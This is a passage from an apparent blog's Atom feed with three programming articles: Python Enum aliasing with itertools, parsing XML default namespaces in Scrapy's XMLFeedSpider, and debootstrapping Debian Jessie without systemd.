    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Station&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wien_westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;St. Pölten&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;st_poelten&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Linz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;linz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wels&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wels&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This way the human readable version is returned for the &lt;tt class="docutils literal"&gt;name&lt;/tt&gt; property:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Wien&lt;/span&gt; &lt;span class="n"&gt;Westbahnhof&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wien_westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Wien&lt;/span&gt; &lt;span class="n"&gt;Westbahnhof&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Station&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wien_westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The only drawback left is the duplicate values. By using a dict and some
&lt;tt class="docutils literal"&gt;itertools&lt;/tt&gt; magic we can also solve this problem:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;itertools&lt;/span&gt;

&lt;span class="n"&gt;_STATIONS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wien Westbahnhof&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;WIEN_WESTBAHNHOF&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;St. Pölten&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="s1"&gt;&amp;#39;ST_POELTEN&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Linz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;             &lt;span class="s1"&gt;&amp;#39;LINZ&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Wels&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;             &lt;span class="s1"&gt;&amp;#39;WELS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;Station&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Enum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Station&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;itertools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;from_iterable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;itertools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_STATIONS&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;While this solution introduces a mapping again, it's also possible to use the
dict directly without an intermediate variable.&lt;/p&gt;
</content><category term="Python"></category><category term="Python"></category></entry><entry><title>Parsing an XML document with a default namespace in Scrapy</title><link href="https://www.notinventedhere.org/articles/scraping/parsing-an-xml-document-with-a-default-namespace-in-scrapy.html" rel="alternate"></link><published>2016-11-05T16:00:00+01:00</published><updated>2016-11-05T16:00:00+01:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2016-11-05:/articles/scraping/parsing-an-xml-document-with-a-default-namespace-in-scrapy.html</id><summary type="html">&lt;p&gt;While writing a new spider for &lt;a class="reference external" href="https://www.github.com/nblock/feeds"&gt;Feeds&lt;/a&gt; I stumbled upon the following problem.
I wanted to parse an XML feed with a default namespace but couldn't get it to
work.&lt;/p&gt;
&lt;div class="section" id="xml-namespaces"&gt;
&lt;h2&gt;XML namespaces&lt;/h2&gt;
&lt;p&gt;First of all, what are XML namespaces anyway? They are used to avoid element
name conflicts and are …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;While writing a new spider for &lt;a class="reference external" href="https://www.github.com/nblock/feeds"&gt;Feeds&lt;/a&gt; I stumbled upon the following problem.
I wanted to parse an XML feed with a default namespace but couldn't get it to
work.&lt;/p&gt;
&lt;div class="section" id="xml-namespaces"&gt;
&lt;h2&gt;XML namespaces&lt;/h2&gt;
&lt;p&gt;First of all, what are XML namespaces anyway? They are used to avoid element
name conflicts and are usually along with a prefix.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;h:table&lt;/span&gt; &lt;span class="na"&gt;xmlns:h=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://www.w3.org/TR/html4/&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;h:tr&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h:td&amp;gt;&lt;/span&gt;Apples&lt;span class="nt"&gt;&amp;lt;/h:td&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h:td&amp;gt;&lt;/span&gt;Bananas&lt;span class="nt"&gt;&amp;lt;/h:td&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/h:tr&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/h:table&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;(All examples are taken from &lt;a class="reference external" href="http://www.w3schools.com/xml/xml_namespaces.asp"&gt;XML Namespaces&lt;/a&gt; by w3schools.com.)&lt;/p&gt;
&lt;p&gt;As you can see, all tags are prefixed with &lt;tt class="docutils literal"&gt;h:&lt;/tt&gt; and the root of the document
has a special &lt;tt class="docutils literal"&gt;xmlns&lt;/tt&gt; attribute.&lt;/p&gt;
&lt;div class="section" id="iterating-over-nodes-with-a-namespace"&gt;
&lt;h3&gt;Iterating over nodes with a namespace&lt;/h3&gt;
&lt;p&gt;Parsing that example using an &lt;tt class="docutils literal"&gt;XMLFeedSpider&lt;/tt&gt; from Scrapy is easy. We can
derive from that class and just register the &lt;tt class="docutils literal"&gt;h&lt;/tt&gt; namespace.
Now we can iterate over the &lt;tt class="docutils literal"&gt;h:td&lt;/tt&gt; tag.&lt;/p&gt;
&lt;p&gt;Note that without the namespaces attribute in the class it's not possible to
select or extract data from non-standard namespaces.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;scrapy.spiders&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;XMLFeedSpider&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ExampleSpider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;XMLFeedSpider&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;example&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;namespaces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://www.w3.org/TR/html4/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;itertag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;h:td&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;iterator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xml&amp;#39;&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_node&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;xpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;text()&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extract_first&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This results in the following output:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
2016-11-05 15:39:44 [example] DEBUG: Apples
2016-11-05 15:39:44 [example] DEBUG: Bananas
&lt;/pre&gt;
&lt;p&gt;The URI is the actual interesting part in the namespace definition.  The
prefix which we use to register the URI doesn't need to be the same as the one
used in the XML document. I.e. this would lead to the same output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;namespaces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://www.w3.org/TR/html4/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;itertag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;x:td&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;iterator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xml&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Don't forget to set the &lt;tt class="docutils literal"&gt;iterator&lt;/tt&gt; to &lt;tt class="docutils literal"&gt;xml&lt;/tt&gt; when changing namespace
prefixes.  Otherwise an iterator based on regexes is used which doesn't work
for XML documents like these.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="xml-default-namespaces"&gt;
&lt;h2&gt;XML default namespaces&lt;/h2&gt;
&lt;p&gt;To not repeat the prefix over and over again we can use a default namespace
which is then implicitly applied to all child elements:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;table&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://www.w3.org/TR/html4/&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;Apples&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;Bananas&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/table&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This looks like an innocent namespace-less document but in fact it isn't. The
&lt;tt class="docutils literal"&gt;xmlns&lt;/tt&gt; attribute is still there and since no prefix is given it acts as a
default namespace. The document is essentially equivalent to the first one,
except that no explicit namespace prefix is given. This means, however, that
XPath queries like &lt;tt class="docutils literal"&gt;//td&lt;/tt&gt; don't work since they are not bound to a
namespace.&lt;/p&gt;
&lt;div class="section" id="iterating-over-nodes-with-a-default-namespace"&gt;
&lt;h3&gt;Iterating over nodes with a default namespace&lt;/h3&gt;
&lt;p&gt;How do we iterate over such documents now? The answer is actually quite
simple. We have to register a namespace again but come up with our &lt;strong&gt;own
prefix&lt;/strong&gt;. It's just important that we use the same URI as specified in the XML
document. We also have to set &lt;tt class="docutils literal"&gt;itertag&lt;/tt&gt; to &lt;tt class="docutils literal"&gt;x:td&lt;/tt&gt; (&lt;tt class="docutils literal"&gt;x&lt;/tt&gt; being the prefix
we registered for the URI) and use the prefix in all XPath queries. That's
all.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;scrapy.spiders&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;XMLFeedSpider&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ExampleSpider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;XMLFeedSpider&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;example&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;namespaces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://www.w3.org/TR/html4/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;itertag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;x:td&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;iterator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xml&amp;#39;&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_node&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;xpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;text()&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extract_first&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The output is now the same as before:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
2016-11-05 16:15:09 [example] DEBUG: Apples
2016-11-05 16:15:09 [example] DEBUG: Bananas
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Scraping"></category><category term="Scrapy"></category><category term="XML"></category><category term="XPath"></category><category term="Python"></category></entry><entry><title>Debootstrapping Debian Jessie without systemd</title><link href="https://www.notinventedhere.org/articles/linux/debootstrapping-debian-jessie-without-systemd.html" rel="alternate"></link><published>2015-09-14T23:00:00+02:00</published><updated>2015-09-14T23:00:00+02:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2015-09-14:/articles/linux/debootstrapping-debian-jessie-without-systemd.html</id><summary type="html">&lt;p&gt;&lt;a class="reference external" href="https://packages.debian.org/sid/init"&gt;init&lt;/a&gt; is an essential package in Jessie so it's automatically pulled in every
time you want to debootstrap a new system. init has a dependency on
systemd-sysv or sysvinit-core or upstart. Unfortunately debootstrap always
selects systemd-sysv even if systemd-sysv is excluded by the &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;--exclude&lt;/span&gt;&lt;/tt&gt;
flag (see also &lt;a class="reference external" href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=776917"&gt;#776917&lt;/a&gt;). This can …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a class="reference external" href="https://packages.debian.org/sid/init"&gt;init&lt;/a&gt; is an essential package in Jessie so it's automatically pulled in every
time you want to debootstrap a new system. init has a dependency on
systemd-sysv or sysvinit-core or upstart. Unfortunately debootstrap always
selects systemd-sysv even if systemd-sysv is excluded by the &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;--exclude&lt;/span&gt;&lt;/tt&gt;
flag (see also &lt;a class="reference external" href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=776917"&gt;#776917&lt;/a&gt;). This can be annoying if you just want to have a
small build chroot where the installation of systemd might also fail.&lt;/p&gt;
&lt;p&gt;Fortunately there is a possibility to tweak the list of packages that should
be installed. For this we have to operate debootstrap in two stages. The first
stage will just download the packages, after that we can manipulate the
package list and then we continue in stage two.&lt;/p&gt;
&lt;p&gt;To execute stage one the parameter &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;--foreign&lt;/span&gt;&lt;/tt&gt; is used. Packages are only
downloaded by not unpacked or installed at this point. To satisfy the
dependencies of &lt;a class="reference external" href="https://packages.debian.org/sid/init"&gt;init&lt;/a&gt; we have to use the parameter &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;--include&lt;/span&gt; &lt;span class="pre"&gt;sysvinit-core&lt;/span&gt;&lt;/tt&gt;
so that sysv is pulled in:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# debootstrap --variant=minbase --include sysvinit-core --foreign \
    jessie system http://ftp.at.debian.org/debian
&lt;/pre&gt;
&lt;p&gt;Now we can just remove &lt;tt class="docutils literal"&gt;systemd &lt;span class="pre"&gt;systemd-sysv&lt;/span&gt;&lt;/tt&gt; from the list of required
packages:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# sed -i -e 's/systemd systemd-sysv //g' system/debootstrap/required
&lt;/pre&gt;
&lt;p&gt;... and continue bootstrapping:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# chroot system debootstrap/debootstrap --second-stage
&lt;/pre&gt;
&lt;p&gt;After the second stage is finnished, you can test if the dependencies are
fine:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# chroot system /bin/bash
# apt-get update
# apt-get dist-upgrade
&lt;/pre&gt;
</content><category term="Linux"></category><category term="C"></category><category term="linux"></category><category term="Debian"></category><category term="debootstrap"></category></entry></feed>